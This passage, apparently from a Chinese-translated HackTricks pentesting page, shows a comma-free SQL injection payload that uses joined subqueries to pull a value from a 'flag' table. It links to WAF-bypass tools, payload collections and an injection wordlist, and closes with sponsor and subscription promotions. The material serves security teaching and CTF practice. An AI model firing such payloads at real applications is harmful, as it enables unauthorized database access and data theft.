或者使用**逗号绕过**:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
这个技巧来自[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### WAF绕过建议工具
{% embed url="https://github.com/m4ll0k/Atlas" %}
## 其他指南
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
[**RootedCON**](https://www.rootedcon.com/) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台。
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家网络安全公司工作吗?你想在HackTricks中宣传你的公司吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。